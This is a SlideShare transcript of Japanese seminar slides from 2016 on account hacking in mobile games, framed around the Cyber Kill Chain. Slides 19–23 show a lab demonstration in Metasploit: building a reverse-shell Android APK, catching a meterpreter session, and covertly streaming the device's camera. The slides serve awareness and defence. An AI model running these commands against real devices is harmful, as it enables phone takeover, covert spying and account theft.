アカウントハッキングと戦う！モバイルゲームに今、求められるセキュリティ
•
0 j'aime•2,279 vues
2016年8月3日開催セミナー「アカウントハッキングと戦う！モバイルゲームに今、求められるセキュリティ」 第4部講演に登壇した際のスライドです。
Recommandé
Contenu connexe
Tendances
Tendances (19)
Similaire à アカウントハッキングと戦う！モバイルゲームに今、求められるセキュリティ
Similaire à アカウントハッキングと戦う！モバイルゲームに今、求められるセキュリティ (10)
Plus de NHN テコラス株式会社
Plus de NHN テコラス株式会社 (20)
Dernier
Dernier (10)
アカウントハッキングと戦う！モバイルゲームに今、求められるセキュリティ
- 6. 350,000 1,387,000 4,259,000 10,596,000 0 5,000,000 10,000,000 15,000,000 2012年 2013年 2014年 2015年 Android不正アプリの累積検体数 1,000万件以上の不正なアプリケーション 【出典】1000万個を突破したAndroid不正アプリの「これから」 - トレンドマイクロ http://blog.trendmicro.co.jp/archives/12960
- 7. 1. Reconnaissance 偵察 7. Objectives 目的の実行 Cyber Kill Chain 2. Weaponization 武器化 3. Delivery デリバリ 4. Exploit エクスプロイト 5. Installation インストール 6. Command and Control 遠隔操作
- 10. デリバリ 1 2 3 4 5 6 7 不正なアプリストア 不正なアプリストアから、アプリをダウンロードさせる。
- 11. エクスプロイト インストール 1 2 3 4 5 6 7 【出典】Trojanized Pokémon GO Android App Found in the Wild - McAfee Labs
- 12. C2 1 2 3 4 5 6 7 【出典】droidVNC server – Google Play エクスプロイト 遠隔操作ツールの インストール カメラを乗っ取り スマホ持ち主の 不在の隙に… 画面を転送して 遠隔操作 目的の実行
- 13. 目的の実行 転売用 Google アカウントにゲームデータを引継ぎ ゲームデータの引継ぎ 現在、プレイしているこのゲームデータを他の Android 端末へ引継ぐための設定が行えます。 設定には、この端末に同期している Google アカウントが必要です。 設定しますか？ はい いいえ 1. 遠隔で画面操作 2. Googleアカウント追加 3. ゲーム起動 4. 引継ぎ操作 5. 証拠隠滅 1 2 3 4 5 6 7
- 15. 脆弱性を突いてスマホ乗っ取り２
- 16. 15 12 8 20 16 19 28 68 0 50 100 4月 5月 6月 7月 危険度：重大 危険度：高 Android OS に見つかった脆弱性の件数（2016年） 【出典】Android Open Source Project https://source.android.com/security/
- 17. 乗っ取りなんて、できるの？
- 19. Metasploit # msfpayload ¥ android/meterpreter/reverse_tcp ¥ LHOST=192.168.0.111 ¥ lport=4444 R > dhtest.apk 192.168.0.111 Exploit ツールを作成
- 20. Android デバイス apk ファイルからの アプリケーションインストールを許可 dhtest.apk をインストール 192.168.0.222
- 21. Metasploit # msfconsole msf > use exploit/multi/handler msf exploit(handler) > set payload android/meterpreter/reverse_tcp payload => android/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.0.111 lhost => 192.168.0.111 msf exploit(handler) > set rhost 192.168.0.222 rhost => 192.168.0.222 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.0.111:4444 [*] Starting the payload handler... [*] Sending stage (40248 bytes) to 192.168.0.222 [*] Meterpreter session 1 opened (192.168.0.111:4444 -> 192.168.0.222:59439) at 2016-08-01 18:00:00 +0900 192.168.0.111
- 22. 盗撮 Metasploit 192.168.0.111 1. カメラ選択 meterpreter > webcam_list 1: Back Camera 2: Front Camera 2. ストリーミング撮影 meterpreter > webcam_stream –I 2 [*] Starting… [*] Preparing player… [*] Opening player at: GrcxHqmj.html [*] Streaming…
- 23. できた！ Target IP : 192.168.0.222 Start time : 2016-08-01 18:11:46 +0900 Status : file:///root/GrcxHqmj.html Metasploit webcam_stream – 1...
- 25. Managed & Secured Hosting Service